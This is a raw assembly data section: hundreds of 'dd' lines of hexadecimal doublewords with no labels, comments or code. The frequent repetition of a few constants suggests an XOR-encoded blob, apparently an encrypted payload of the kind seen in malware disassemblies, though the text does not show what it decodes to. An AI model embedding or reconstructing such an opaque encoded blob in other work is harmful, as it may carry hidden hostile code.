		dd 98FCC62h, 0FD56F650h, 39B23DC5h, 0B156F190h,	9F3C7457h
		dd 55E3F64Fh, 0AB31AB5Eh, 1969C27Dh, 0B2EB5EFDh, 0C961EDDCh
		dd 0B161ED8Fh, 0FD3A2A66h, 8E4DAC14h, 4F05EF36h, 40979C3Dh
		dd 0B157D9AEh, 505EEDDCh, 0B161FF78h, 4C3521DCh, 0B1245695h
		dd 20DC0E36h, 0C2F8F9F9h, 18C01FC0h, 28B1B358h,	17DFD832h
		dd 0AAD85E1Bh, 5161EDDCh, 39F590FDh, 2EF87291h,	98B0D73Ch
		dd 2D4CEDDCh, 0B161ED31h, 0B161FF77h, 9CAA50DCh, 0BD75B05Ah
		dd 0E6008138h, 0A65A218Ch, 244DD8B2h, 9850E154h, 0C8F78DDCh
		dd 0B161EDD7h, 0CF5B1137h, 1233F80Dh, 5EBE9000h, 0CEECDC66h
		dd 0C855C4D6h, 0B161ED88h, 0E7FE9DDCh, 0A86DDAA9h, 935C65D8h
		dd 374B1A54h, 0C8B282C0h, 0B161EDD5h, 0C296A66Eh, 5EBE97BCh
		dd 0B14E15FFh, 0ADFEDDCh, 96F4E5A5h, 95F3AB88h,	98D8F99Bh
		dd 0B162F809h, 9BDCEDDCh, 0EA46D962h, 387842Dh,	505AEF94h
		dd 1DC7493h, 51A4F650h,	93D88D68h, 0A25028ACh, 51BDE2ADh
		dd 39B19500h, 0AC706935h, 0F61EDDCh, 9946A20Eh,	3DBCF708h
		dd 0AB285870h, 0B1575E77h, 1CE5CEDCh, 210B9E3Dh, 0CE429CBBh
		dd 0DA7426CCh, 8979742Bh, 254DF3A0h, 0B161EDD5h, 0B16172ADh
		dd 5101EDDCh, 0A36FBD7Eh, 4061EDDCh, 29786E77h,	8DBEF48Ch
		dd 52D23696h, 0B15771AEh, 0E101EDDCh, 0C0D8931Dh, 50F89287h
		dd 0DDDC7458h, 0AE6FF64Fh, 9F61EDDCh, 0FB6C47C9h, 2647495h
		dd 0B156F650h, 2A4CEDDCh, 0B161EDDAh, 60465EFCh, 0B1576DD4h
		dd 7CF6EDDCh, 1DC7495h,	7CABF650h, 3FF078F7h, 0B154F82Bh
		dd 77A0EDDCh, 8A3D5638h, 69DB0ADCh, 0A255BCDBh
		dd 0B161F05Fh, 416F20DCh, 6761EDDDh, 0E1846F98h, 0F2FA69D9h
		dd 291CE880h, 0B1ECD8C1h, 0A255BCA9h, 0B156F659h, 0B1D85ADCh
		dd 7C61EDDCh, 3702BD64h, 0F8C68BB9h, 0E1ECD8FFh, 0C855BCD4h
		dd 0B161EDABh, 0CCE1D309h, 0A08545E1h, 0D63B5519h, 518270FCh
		dd 314CC170h, 6BF7B04Bh, 60C8E452h, 234E2EDCh, 0B161EDE0h
		dd 465D9564h, 0DD7069F6h, 3F61EDDCh, 0E150AC20h, 0D2E7E15Fh
		dd 0CC515372h, 488BC753h, 69DB0AB8h, 7955BCDBh,	0B658742Ah
		dd 0C8F6F64Fh, 0B161EDB0h, 8D0D28E6h, 0DC5BD36Eh, 27D3089Bh
		dd 5EBE8DA0h, 64DA93FFh, 0B1556FD4h, 0C0D6EDDCh, 0ACC35DAAh
		dd 40ECD8FFh, 5155C4B8h, 3A4E28CDh, 2E159065h, 0AB286024h
		dd 0A6D05E20h, 0A261EDDCh, 0B156F35Ch, 0B2CF5ADCh, 4961EDDCh
		dd 0C40195B8h, 0A434D7FFh, 72F7C225h, 611E1822h, 2DE325DCh
		dd 0AB2866E0h, 0BFDA93FCh, 9C0E70F5h, 5EBE90E6h, 324E8D66h
		dd 506A402Dh, 9057458h,	0A66FF388h, 0B861EDDCh,	9C3A9484h
		dd 979291BEh, 0E2FDAA34h, 1DC7492h, 0C8ABF650h,	0B161ED88h
		dd 7EFF50Eh, 84C77970h,	9FA57A63h, 3E2CE0FFh, 49B6791Fh
		dd 97F7669Fh, 0ABD05E66h, 0A261EDDCh, 0B161F02Bh, 3DBD25DCh
		dd 0AB26E998h, 0D50ACBFCh, 66D78D73h, 2DE49044h, 0AB2866E0h
		dd 0B1575B77h, 0DD8888DCh, 562621Eh, 12D7F74Bh,	79F810B1h
		dd 0A46FBD64h, 0A61EDDCh, 9AB4E6BEh, 0DEB86AB9h, 2F8936C3h
		dd 2DCF0D07h, 0ABE038E7h, 0DDD47264h, 0B155BCC5h, 0B0AE70ADh
		dd 2D4CEDDCh, 0B161EDE0h, 3DEBB364h, 0EC55BB70h, 881570FCh
		dd 4BC796BDh, 50C4ED25h, 113D73F5h, 304E8D67h, 0B161EDD4h
		dd 161970F2h, 3DBE8C89h, 0AB26E998h, 0B1575977h, 839B6ADCh
		dd 3AEC3419h, 2A9A6E83h, 0B1ECDC32h, 0A255BCA9h, 0B162005Ch
		dd 0A7CF5ADCh, 0C861EDDCh, 0B161EDD5h, 32F7A3E3h, 74134E55h
		dd 2B4E8D4Fh, 0B161EDB1h, 6D24CEF2h, 0B1575976h, 0FA7336DCh
		dd 641E5528h, 89BE6E97h, 2DD09044h, 0ABE038FBh,	0B15875ADh
		dd 691AEDDCh, 60C8E452h, 0A57099DCh, 8561EDDCh,	653B4669h
		dd 0F79001Ah, 5F229532h, 0A76F0DB5h, 4961EDDCh,	17652A06h
		dd 52075596h, 0E17070F3h, 72F72497h, 611E1822h,	274E8DDCh
		dd 0B161EDD3h, 0B157DBADh, 0E9D3EDDCh, 0B1ECDCFFh, 0C855BCA9h
		dd 0B161ED8Eh, 2D3B7E43h, 104FB1D0h, 189E0CC4h,	790ACD95h
		dd 0C9320971h, 0B161EDADh, 0C775E4DDh, 0D85DFFC8h, 0E11FABA5h
		dd 2DD093ACh, 0ABE0385Fh, 0B14CF8FCh, 7375EDDCh, 2269ABB6h
		dd 0E89ADFABh, 55426E5h, 0B0EB5E2Eh, 5161EDDCh,	0C9BF9000h
		dd 0B161ED4Dh, 3DEBB367h, 0DF55BB70h, 0B15874ADh, 46BEEDDCh
		dd 359C11ACh, 3B1870FDh, 4B534B9Fh, 51271627h, 0A168E47Eh
		dd 2D4DF64Fh, 0B161EDD5h, 0B16176ADh, 5101EDDCh, 0B658742Ch
		dd 0AA6FF64Fh, 3561EDDCh, 7B22E5B3h, 26AEF570h,	0B1575978h
		dd 56C543DCh, 0B9253EA9h, 0CA15DC4Ah, 0C9320E69h, 0B161EDDCh
		dd 18C39138h, 29EB4725h, 98B08B54h, 0A6D55ADCh,	0A261EDDCh
		dd 0B156F353h, 0B2D05ADCh, 6B61EDDCh, 60C8E452h, 51F73FDCh
		dd 6BD72706h, 224E90F1h, 0B161EDD3h, 6AC30F5Fh,	49F83794h
		dd 8BA39715h, 3DBD0863h, 0AB26FC90h, 0B1506FADh, 4C01EDDCh
		dd 4BFB883Bh, 24F70A5Ah, 6108F054h, 0B15814DCh,	0B384EDDCh
		dd 0C3657624h, 5202BD64h, 0A1B8923Eh, 98993EDh,	0A67F9054h
		dd 505F48A3h, 9E17458h,	2E4DF388h, 0B161EDD3h, 280FDAFCh
		dd 2E158DA0h, 0AB286024h, 36F58DCEh, 0A2F8537Dh, 0B156F657h
		dd 0B1D05ADCh, 7561EDDCh, 0F045F7F7h, 0B154F87Bh, 1B8FEDDCh
		dd 1D0E18FEh, 69DB0AA6h, 0C855BCDBh, 0B161EDC3h, 84110839h
		dd 7AB1D946h, 27A5623Ch, 63DFB572h, 43D346A2h, 0B658742Ch
		dd 36F6F64Fh, 63DC595h,	52320E00h, 60707079h, 510B6DC6h
		dd 8007458h, 691BF650h,	60C8E452h, 4713A2DCh, 0BEE5D542h
		dd 0B16B15FFh, 0EF1EEDDCh, 3B21E1F9h, 72F82757h, 60520822h
		dd 0DCE25ADCh, 0C861EDDCh, 0B161ED8Eh, 0B30CC472h, 3F0681A0h
		dd 16481D5Eh, 0E734AF5Ch, 0B1ECD8B7h, 0C855BCA9h, 0B161EDD2h
		dd 0EA6F59FEh, 0C9320E92h, 0B161EDD7h, 0AD2AF09h, 49269522h
		dd 0B1586DAEh, 29C9EDDCh, 61742C54h, 0D9EC5ADCh, 0C861EDDCh
		dd 0B161EDC3h, 2C9CB4D3h, 27AD07A6h, 0CB0FB2BFh, 129AE02h
		dd 0B6F849ABh, 1DC7492h, 79B0F650h, 0B1620076h,	1908F9DCh
		dd 924D3F8Ch, 0FDD5B8C9h, 576490A8h, 0DAF9EBFFh, 0A3DCA76Fh
		dd 0B161FD2Bh, 0A8D75ADCh, 0C861EDDCh, 0B161EDD2h, 81B5C453h
		dd 69DB0AD5h, 0C855BCDBh, 0B161ED8Eh, 54054AF1h, 0CFEE3E92h
		dd 51E5F5EFh, 73DFFD43h, 0B1ECDCD0h, 0A255BCA9h, 0B161F056h
		dd 741B09DCh, 2DCF084Fh, 0AB285364h, 3DEBB367h,	1B55BB70h
		dd 0B265F8FDh, 0C734EDDCh, 0DEAE88CDh, 4A01519h, 0A7510690h
		dd 0F2D891BDh, 0A2F82F33h, 0B156F45Eh, 4EBF8DDCh, 0B8EF9000h
		dd 0C925EECBh, 0B161EDD5h, 0F5FD6F2Ah, 3DC0CA44h, 0AB285870h
		dd 0B14EF864h, 5D49EDDCh, 8D0F8AE4h, 25D11818h,	5E37F754h
		dd 0B26714DCh, 0E7D8EDDCh, 304D43Ch, 95C1FB1Fh,	0D384FCAEh
		dd 741BD9D0h, 0A9708D4Fh, 8361EDDCh, 25174B7Ah,	2DD0907Ch
		dd 0AB285F08h, 40116DFCh, 0B1620278h, 0EB5701DCh, 3604AD32h
		dd 0DD4AC191h, 31C90329h, 0C4D8978Ch, 0A2D75EFEh, 0C861EDDCh
		dd 0B161EDB0h, 50BC3B45h, 3B09BF8Fh, 6B6232F0h,	60C8E452h
		dd 2D4E32DCh, 0B161EDC3h, 0B1620077h, 0B92F31DCh, 431A2464h
		dd 61F02B74h, 0F26A3B92h, 0F7FAB0D0h, 52D7A98Ch, 0B786CEF3h
		dd 741C9064h, 611E1822h, 0B14F14DCh, 8A84EDDCh,	55404C1Ch
		dd 2580B370h, 6108F054h, 0B15914DCh, 9D5CEDDCh,	0FB2CAE2h
		dd 18C39139h, 76320E25h, 0A2907456h, 0AC6FF64Fh, 4261EDDCh
		dd 24C4B56Ah, 2E153BCFh, 0AB286024h, 0A6D05E15h, 5161EDDCh
		dd 797E3027h, 6BD8931Ch, 49F7B880h, 274EE47Fh, 0B162F8FDh
		dd 0E867EDDCh, 2E7B6F98h, 2BE2AFDAh, 0A32FC24Bh, 0A2F70725h
		dd 0B162022Dh, 0B15014DCh, 0D88EDDCh, 0BF705928h, 0BA9BD58Fh
		dd 0E436D476h, 0D310E47Dh, 0AC6FF64Fh, 9F61EDDCh, 48939443h
		dd 2DE439E3h, 0AB2866E0h, 0B15875ADh, 0A3C9EDDCh, 0B1620157h
		dd 0A4CE5ADCh, 0C861EDDCh, 0B161EDD6h, 0D8D3A508h, 77F1F848h
		dd 0A3320E31h, 0B1575C53h, 0B15A14DCh, 7DBAEDDCh, 9A4C0924h
		dd 2DD089F0h, 0ABE0383Fh, 0B15BF8FCh, 98DCEDDCh, 82A9D694h
		dd 291B234Eh, 29A0C8F3h, 0A5EBB600h, 0F955BCB2h, 0C861EDDCh
		dd 0B161EDADh, 2E4B56A6h, 17F491CAh, 797674E7h,	35E1C9EFh
		dd 0AB285F84h, 12EB5ADCh, 0C861EDC5h, 0B161EDB0h, 0CCD13A34h
		dd 8E0E9808h, 6CD872E5h, 60C8E452h, 7FF799DCh, 63D89357h
		dd 49F82705h, 9AEBE978h, 0B14DF8FFh, 0F8CCEDDCh, 37332844h
		dd 637E88B6h, 0A2F77FC0h, 98D7253Dh, 0E3DD39A8h, 3DBE90FFh
		dd 0AB26E998h, 0B1566DADh, 304CEDDCh, 0B161EDE0h, 0B1ECDC78h
		dd 7C55BCA9h, 0B15815FFh, 260CEDDCh, 1C9F25DCh,	968CFA60h
		dd 506A3C25h, 0AE6FBD7Eh, 0B361EDDCh, 4849FE4Eh, 3575D7FDh
		dd 13B440B4h, 24ECD800h, 5155C4B8h, 0A2B26D23h,	0B161ED54h
		dd 6BF845DCh, 60C8E452h, 471399DCh, 9506AB6Bh, 0B15976D4h
		dd 0AE6EEDDCh, 6C61EDDCh, 0DEE5E4FDh, 0D310E47Dh, 244DF64Fh
		dd 0B161EDE0h, 0B1ECDC78h, 0C855BCA9h, 0B161EDABh, 8A2BACCAh
		dd 6F4922D2h, 0EA72EC0Fh
		dd 0B2E25EFCh, 3061EDDCh, 0F701D47Ah, 5EBE90E8h, 0B155DBD4h
		dd 4C01EDDCh, 50955228h, 8F17458h, 2E4DF388h, 0B161EDAEh
		dd 0B1575777h, 0EB4092DCh, 0FDC5FBCAh, 6C4185CBh, 60C8E452h
		dd 0A2F799DCh, 0B161EF30h, 4BC2DCDCh, 49F7265Ah, 3BD86FBEh
		dd 0B1575E78h, 55A913DCh, 571788Ah, 9EA45DCh, 0F5D491Ch
		dd 0B1620178h, 0CF3C64DCh, 0FDE5291Eh, 8D9E7605h, 87EC6364h
		dd 9E9A0A4Dh, 69DB0E03h, 5155BCDBh, 4C26DAF3h, 50692F27h
		dd 0B658742Ch, 0A26FF64Fh, 0BA61EDDCh, 91D7FC99h, 0A0843312h
		dd 0E42DB6F4h, 85090DF7h, 2A1BBD7Dh, 98B08354h,	0A8D85ADCh
		dd 0C861EDDCh, 0B161EDD2h, 3EE98094h, 3DEBB380h, 0E555BB70h
		dd 0A421E1FCh, 0A2F71E25h, 0B156F154h, 731C8DDCh, 0F21F95FEh
		dd 73C0DE8Dh, 611E1822h, 2DE324DCh, 0AB2866E0h,	0B1575E77h
		dd 60413BDCh, 84E63A50h, 0A6A7B09Eh, 5EA70727h,	2C4DBD64h
		dd 0B161EDACh, 0CCD893FCh, 0C1D7BB7Eh, 0D981DDEBh, 5CECD8FFh
		dd 0C855C4B8h, 0B161ED88h, 0BA7DBD81h, 2D826D7Ah, 753CD1E0h
		dd 0BEF41A45h, 6C7BDDDDh, 60C8E452h, 46BF33DCh,	35DCF3E1h
		dd 0B2666DAEh, 0C901EDDCh, 0B161ED8Fh, 55E54168h, 9CA6CCB1h
		dd 0B95B28Fh, 4D1BDF60h, 69DB0E00h, 5155BCDBh, 276943FDh
		dd 30B19030h, 0C9F5D7Fh, 0C8F845CAh, 0B161EDD6h, 0E52FEBF7h
		dd 0A3A0BACAh, 0B1ECDC51h, 0A255BCA9h, 0B156F55Eh, 30F58DDCh
		dd 75F0D22Dh, 0C9320EFEh, 0B161EDD5h, 0DF2FDB95h, 2DD07F4Eh
		dd 0ABE0385Bh, 527BDDFCh, 81CAE2AEh, 6BF89012h,	60C8E452h
		dd 471332DCh, 32DDFDE7h, 69DB0E68h, 7855BCDBh, 0B1575976h
		dd 0E70078DCh, 40CF896Ah, 5EF98FCBh, 0B1ECD8B2h, 5155BCA9h
		dd 698870F3h, 0B150148Eh, 2168EDDCh, 7C80DAD9h,	9618361h
		dd 0CE0435B4h, 5EBD08FEh, 0B2206ED4h, 0DB6EEDDCh, 1D61EDDCh
		dd 0B038D59Ah, 0EC598044h, 523504Ah, 5F071BB3h,	285BC269h
		dd 98AFD354h, 0B15014DCh, 0C4F2EDDCh, 8FEF1DC7h, 0BCF6E0F1h
		dd 58430E61h, 1DC7493h,	7995F650h, 0B161FF76h, 0DB12B8DCh
		dd 0FDCDD7B1h, 71D129BBh, 0ABCCAA8Dh, 4A42B0C6h, 0C3D6DB09h
		dd 0B14DF8FFh, 3544EDDCh, 7584E535h, 0D530EF18h, 7302CACAh
		dd 611E1822h, 2DE309DCh, 0AB2866E0h, 0A3320E78h, 0B161E92Bh
		dd 0DCEB5ADCh, 0C861EDDCh, 0B161ED8Eh, 2C8DD2E1h, 120ED3E7h
		dd 0D2EFB65Fh, 23D90DC7h, 88ECD83Bh, 5155C4B7h,	0B1575878h
		dd 0DC6973DCh, 5A0E0B68h, 38F4F1B0h, 75F82C19h,	1DC7495h
		dd 0A295F650h, 0B1620461h, 0B27214DCh, 2EDFEDDCh, 7AB0E622h
		dd 0E1330CB3h, 0DE571AE9h, 5FEF6063h, 0C93B673Ch, 0B161EDD2h
		dd 3589C02Ch, 69DB0AB1h, 7855BCDBh, 0B658742Ah,	4BF6F64Fh
		dd 0ECFA1E60h, 51BDCAADh, 0A3320E68h, 0B156F52Ah, 0B0E35ADCh
		dd 5161EDDCh, 84ECD800h, 7555C4B7h, 0B15876D4h,	68BEEDDCh
		dd 60C8E452h, 471332DCh, 351864B1h, 3218DAFDh, 6C22317Fh
		dd 3DBE90F6h, 0AB26E998h, 0B1ECDC67h, 7955BCA9h, 3302BD64h
		dd 12693896h, 2A139079h, 98B0DF54h, 74D98DDCh, 75BA023Dh
		dd 35E29005h, 0AB26EB74h, 84EC5ADCh, 0A261EDDCh, 0B156F62Dh
		dd 0B1EB5ADCh, 7961EDDCh, 1DC7495h, 5195F650h, 0A48170F3h
		dd 78F7086Bh, 3FC496F7h, 9FDA5E7Dh, 0C861EDDCh,	0B161EDADh
		dd 69317698h, 802567C6h, 87F32181h, 3DBE6678h, 0AB26E998h
		dd 0B0E45EFCh, 0DE61EDDCh, 0B159151Dh, 4DDCEDDCh, 0A8E87830h
		dd 0E8ACA7E0h, 506C09DCh, 0B658742Ch, 36F6F64Fh, 0E912A0E6h
		dd 0C6EAC8F2h, 52320EFEh, 0B2721564h, 1E3FEDDCh, 0F0C37920h
		dd 4DE71705h, 83C27842h, 41704824h, 0B261EDDDh,	2F82158Bh
		dd 4DE16EE4h, 7BA0D202h, 7CF845D6h, 9457456h, 0A2F6F388h
		dd 6FD7A83Dh, 0BA409F69h, 3DEBB3FFh, 0EA55BB70h, 0B1575B77h
		dd 4812B7DCh, 73DECC22h, 9B6B8AFEh, 4F775363h, 7F489500h
		dd 244EDBB7h, 0B161EDD5h, 6B90C8FCh, 51BF394Fh,	0B27473AEh
		dd 0CA01EDDCh, 0B161ED88h, 65FD3F7Bh, 387E0506h, 0B3EB754Bh
		dd 74FF02BAh, 18648FB8h, 72F890FDh, 611E1822h, 0A5708DDCh
		dd 0B561EDDCh, 9D4E65B2h, 0EB7E34F2h, 0B157F84Ah, 828CEDDCh
		dd 15874252h, 0B1ECDC00h, 0A255BCA9h, 0B156F555h, 0B0E15ADCh
		dd 5161EDDCh, 0A3320E00h, 0B1575961h, 0B15514DCh, 0B5B8EDDCh
		dd 39953A48h, 38ECD880h, 0A255C4B8h, 0B156F559h, 274E8DDCh
		dd 0B161EDDDh, 2A4E8DFFh, 0B161EDD3h, 0EB3DC65Fh, 237F7BFAh
		dd 50CB73D7h, 1DC7493h,	0C8A1F650h, 0B161EDADh,	0BB6D7B12h
		dd 8F9F7C00h, 6F27D5A8h, 8AEF79CFh, 7717A316h, 0D310E464h
		dd 224DF64Fh, 0B161EDACh, 75A9C7FCh, 254CFFE8h,	0B161EDDDh
		dd 2DE309FFh, 0AB2866E0h, 7D320E63h, 97D7456h, 0A06FF388h
		dd 7161EDDCh, 905718F9h, 0FF1FCDCDh, 66620ADCh,	0B1C43603h
		dd 0A46F07B7h, 0D361EDDCh, 0DC8F4C97h, 0F01304AEh, 2FCEF24Dh
		dd 2E15447Dh, 0AB286024h, 0FFE35EE8h, 5161EDDCh, 0B161FF78h
		dd 61ED7DDCh, 5537CA0Fh, 0AF1899A5h, 0AF7D3FFBh, 0CA682E17h
		dd 0B161EDC3h, 7A08FC7Ah, 43073D0Ch, 0A5F10A8h,	6F8F0931h
		dd 1CCABD95h, 0C6EF901Eh, 72CA93CBh, 0FEC0E464h, 261BF64Fh
		dd 6108F054h, 0B15014DCh, 56DBEDDCh, 22619625h,	0A913DA6Eh
		dd 0CA63F08h, 416FBD7Eh, 0FF61EDDDh, 0B1D8C80Ah, 0DE00D965h
		dd 0F73D5D96h, 0E0ECD87Fh, 0C855C4B6h, 0B161EDADh, 371AB070h
		dd 0A1F88EE2h, 93860131h, 2E17F852h, 0AB286024h, 0B154F8F0h
		dd 1871EDDCh, 3BAF3CFEh, 23BC95B1h, 313DE6B2h, 4C02244Dh
		dd 0C189075Ah, 5166F0DAh, 69DB0E00h, 7855BCDBh,	0B658742Ah
		dd 7412F64Fh, 0A1D75E4Fh, 0A261EDDCh, 0B1575A53h, 0B15814DCh
		dd 5295EDDCh, 503BAB0Ah, 0A217458h, 6912F388h, 60C8E452h
		dd 2F4E2EDCh, 0B161EDE0h, 0E1139563h, 0A26FC92Ah, 0A561EDDCh
		dd 3CB72C1Eh, 1BCE6745h, 606370E5h, 18A29384h, 0D310E47Eh
		dd 0A26FF64Fh, 261EDDCh, 0B8BDEAF9h, 8C52D9EFh,	66D68D1h
		dd 53ACBCC0h, 0B157F8FDh, 5B53EDDCh, 3A601A2Fh,	2DE49064h
		dd 0AB2866E0h, 0B1566CADh, 244CEDDCh, 0B161EDE0h, 0C9320E63h
		dd 0B161EDC3h, 0C6351753h, 82279B73h, 0C5FA4A62h, 547843F7h
		dd 1A5C521Bh, 0B14F73AEh, 2B4CEDDCh, 0B161EDDFh, 2DD090FCh
		dd 0ABE03893h, 0B22076ADh, 0DB6EEDDCh, 2E61EDDCh, 4FF0DD58h
		dd 9670F05Ah, 7F8C9369h, 14DE13A3h, 6CEB7897h, 60C8E452h
		dd 0AA703EDCh, 9161EDDCh, 3136C3C0h, 0B555595Dh, 0B156F577h
		dd 71B9D3DCh, 46ED58AEh, 0B43995B0h, 73CAB38Ch,	611E1822h
		dd 2DE324DCh, 0AB2866E0h, 52320E64h, 34921A60h,	0AA708D41h
		dd 0D761EDDCh, 86308A00h, 0B37D43BDh, 2DCF25FFh, 0ABE03897h
		dd 0B1575B77h, 0A9ACDCh, 7FCB9F2Bh, 0E4BCC8C7h,	2F202A6Eh
		dd 6172243Ch, 2D4CEDDCh, 0B161EEC5h, 61465EFCh,	3DEBB3FEh
		dd 0EB55BB70h, 0A7E25EFCh, 0C961EDDCh, 0B161EDD2h, 0E266DE06h
		dd 0AE6F2B2Ch, 861EDDCh, 1F3F9FE7h, 4E35AA60h, 505F548Eh
		dd 590D60F5h, 0DBD65E67h, 0A261EDDCh, 0B1620056h, 0B14E14DCh
		dd 6AF3EDDCh, 8BA13E6h,	1932E80Fh, 234E49A9h, 0B161EDD7h
		dd 0A2F88DFCh, 0B161ED53h, 3DBE8CDCh, 0AB26E998h, 0B0D65EFCh
		dd 5161EDDCh, 0AFD65E00h, 0A261EDDCh, 51F7C225h, 24F7B25Ah
		dd 6108F054h, 5EBD25DCh, 70DA93FFh, 13F96924h, 2DD08CB5h
		dd 0ABE037B3h, 3A4E43FCh
		dd 26F52A63h, 2E158D86h, 0AB286024h, 0B1CE5E12h, 7561EDDCh
		dd 0B2686CD4h, 2E4CEDDCh, 0B161EDDAh, 0B156F377h, 2BA609DCh
		dd 4997F567h, 76364883h, 69DB0E7Bh, 7555BCDBh, 0AFD85EFFh
		dd 0A261EDDCh, 24F7C03Dh, 6108F054h, 0B1D95ADCh, 7C61EDDCh
		dd 0A96FBD64h, 0CB61EDDCh, 0FC466A6Fh, 0BCEC736Eh, 5155C4B6h
		dd 0B1616DAEh, 68DBEDDCh, 6BF881EFh, 60C8E452h,	0A2F733DCh
		dd 0B156F356h, 0B2CD5ADCh, 5161EDDCh, 0B1576DAEh, 0AA6EEDDCh
		dd 9861EDDCh, 98CDEFD1h, 0C6D2B341h, 0B1EF90FEh, 79F40910h
		dd 0D310E464h, 38F6F64Fh, 0C373746h, 8F2870F3h,	2DE48CB0h
		dd 0AB2866E0h, 0ABE45E78h, 0A261EDDCh, 0B161F057h, 5EBD20DCh
		dd 0B1575E76h, 1BCE00DCh, 977273CEh, 4431F908h,	9848B38Dh
		dd 8097456h, 691BF388h,	60C8E452h, 471333DCh, 7C3B9EF7h
		dd 69DB0E7Bh, 5155BCDBh, 67E2C05Ah, 2DE49013h, 0AB2866E0h
		dd 0B163DBADh, 284CEDDCh, 0B161EDD3h, 0B157D7ADh, 5EBCEDDCh
		dd 0B14F6DD4h, 2D4CEDDCh, 0B161EDDFh, 2DD090FCh, 0ABE037BBh
		dd 3DEBB367h, 0EB55BB70h, 0B158D9ADh, 0A3BEEDDCh, 0B161EC2Dh
		dd 0A0708DDCh, 0A061EDDCh, 5F0F7832h, 52AB8039h, 503BAB0Ah
		dd 3FCB5F7Eh, 0C7E2BE2Fh, 0CAEF8CC9h, 0A2E61CCFh, 0B161F028h
		dd 3DBD09DCh, 0AB26E998h, 0B1ECDC63h, 5155BCA9h, 0B1620278h
		dd 58BB60DCh, 1AADD8F8h, 0F1E77E10h, 17D40C86h,	269CBE82h
		dd 0A3320E00h, 0B156F652h, 0B1E25ADCh, 7861EDDCh, 982C6DFFh
		dd 4838C324h, 2DD08CB6h, 0ABE037B7h, 0B158D9ADh, 68C9EDDCh
		dd 60C8E452h, 0AE7033DCh, 9661EDDCh, 0C98EA12Dh, 0F9B4AF7h
		dd 26F58DF0h, 3DBE9066h, 0AB26E998h, 0B1ECDC64h, 0A255BCA9h
		dd 0B161F053h, 5EBD09DCh, 99D893FFh, 30F5DFFCh,	50AA6998h
		dd 7AD7458h, 4BF6F388h,	31692C3Bh, 6BF89382h, 60C8E452h
		dd 0A57033DCh, 6D61EDDCh, 15F7EEAAh, 1A71628Ch,	0C58495F3h
		dd 224DAEE6h, 0B161EDA9h, 0B155DBADh, 234CEDDCh, 0B161EDDDh
		dd 0D310E47Dh, 0C8F6F64Fh, 0B161EDB0h, 4FA63805h, 19AB1168h
		dd 4CCD5BB2h, 24F71A5Ah, 6108F054h, 0B15514DCh,	589CEDDCh
		dd 0F117AFCFh, 76320E0Bh, 7517456h, 0A26FF388h,	8D61EDDCh
		dd 0FCB03185h, 0D25DCA7Ah, 7726B442h, 0CDF78464h, 0B18BCC58h
		dd 0A256F64Fh, 0B1577353h, 0A4E25ADCh, 5161EDDCh, 0C03D1260h
		dd 0CFD6FD6Bh, 100CD5BBh, 30F58D00h, 4B55D678h,	57751B60h
		dd 3DEBB300h, 0DE55BB70h, 0B14CF8FCh, 5585EDDCh, 0DEE26982h
		dd 0DD26617Dh, 0B959DF95h, 1D7D9301h, 13EF90D1h, 7A10CB7Dh
		dd 0B1575A76h, 58F95DDCh, 951A2BA6h, 21DCEF0Ch,	0D310E47Eh
		dd 37F6F64Fh, 0F97E01EDh, 0B1ECDCFFh, 7C55BCA9h, 4C02BD64h
		dd 28F7C25Ah, 98AF1B54h, 0B14F14DCh, 0EC8BEDDCh, 8F36D5F7h
		dd 6987F6B7h, 60C8E452h, 471C32DCh, 6B482B56h, 0B1620276h
		dd 0BBD806DCh, 36DC1813h, 24351929h, 0C69FD915h, 0EE94E726h
		dd 0D310E47Dh, 416FF64Fh, 6A61EDDDh, 30ED3295h,	6B0684B7h
		dd 43987413h, 0B1ECDC66h, 7955BCA9h, 264DBD64h,	0B161EDE0h
		dd 60ECD864h, 5155C4B6h, 0B14FF8FDh, 24A5EDDCh,	7E3CB471h
		dd 0A4F88381h, 5A18439Ah, 50F890FDh, 0B161FD78h, 0A2C12FDCh
		dd 3A52633Ah, 8F82B5C8h, 97E7B57Ch, 0CDD472E2h,	0B155BCDDh
		dd 0B23870ADh, 68BEEDDCh, 60C8E452h, 46C032DCh,	0CC018BD4h
		dd 6CDA93FFh, 6AD88DFEh, 409544D2h, 0B14D15CFh,	0E9CEEDDCh
		dd 0B8F85743h, 38E41F05h, 0F664AA01h, 505D448Dh, 0D310E47Eh
		dd 2B4DF64Fh, 0B161EDE1h, 0B1575E77h, 66871DCh,	87281401h
		dd 84B038B2h, 0A58D9560h, 0B15676ADh, 234CEDDCh, 0B161EDE0h
		dd 0B1ECDC78h, 0C855BCA9h, 0B161EDD2h, 3DB6487h, 52320A91h
		dd 0A487DAF3h, 0B1575C5Ch, 0B15A14DCh, 0B07EEDDCh, 0A05AB73Fh
		dd 28F7C174h, 98AFC354h, 0B16314DCh, 0CE5EDDCh,	8D0A8579h
		dd 0A1B1D3F9h, 6BA99D63h, 60C8E452h, 234E2EDCh,	0B161EDAEh
		dd 0B157F8FCh, 8CDCEDDCh, 2407B79h, 49F82BCDh, 1F495863h
		dd 6ADA93FDh, 471170F5h, 3DBE903Dh, 0AB26E998h,	0B270F8FCh
		dd 4441EDDCh, 0CC9629BDh, 8C5E8C5Ch, 4FACEF95h,	2A6BD740h
		dd 93465EFFh, 0B1ECDCFEh, 5155BCA9h, 0BF7E5EFDh, 324E907Bh
		dd 5EBE8D87h, 0B1575E76h, 0FDB12EDCh, 9CEC32F1h, 1DBF2430h
		dd 5C21CB8Fh, 0AE97458h, 27F6F388h, 522CD76Bh, 3DEBB364h
		dd 0EE55BB70h, 5AB79563h, 4EBE09C0h, 0A67870F3h, 0DF786DCCh
		dd 69DB0EFFh, 0C855BCDBh, 0B161EDABh, 7AE958B3h, 50D3FE0Bh
		dd 0B8303013h, 0B658742Bh, 294DF64Fh, 0B161EDC4h, 79DA93FCh
		dd 0B1575777h, 5259AADCh, 0A6C4EA85h, 18287025h, 52320E00h
		dd 0B16C73AEh, 837FEDDCh, 76678C5Ah, 94ECD8FEh,	0A255C4B6h
		dd 0B161E82Dh, 9FD85ADCh, 0C861EDDCh, 0B161EDADh, 0F666AA22h
		dd 3100CCAAh, 7F39FB47h, 2E4DB5A5h, 0B161EDC6h,	0B161FF77h
		dd 999EB7DCh, 9DECA928h, 464B7D68h, 0C8467BE0h,	2FD09FB2h
		dd 6120143Ch, 2C4CEDDCh, 0B161ED4Ch, 3DEBB378h,	0EE55BB70h
		dd 0A5E25EFCh, 0C961EDDCh, 0B161EDDCh, 3C27B443h, 13A1EB22h
		dd 49F866EFh, 2662D5E2h, 0B156F378h, 0FB2AB7DCh, 740F1F78h
		dd 611E1822h, 2DE309DCh, 0AB2866E0h, 0C68993FCh, 0A47A6D03h
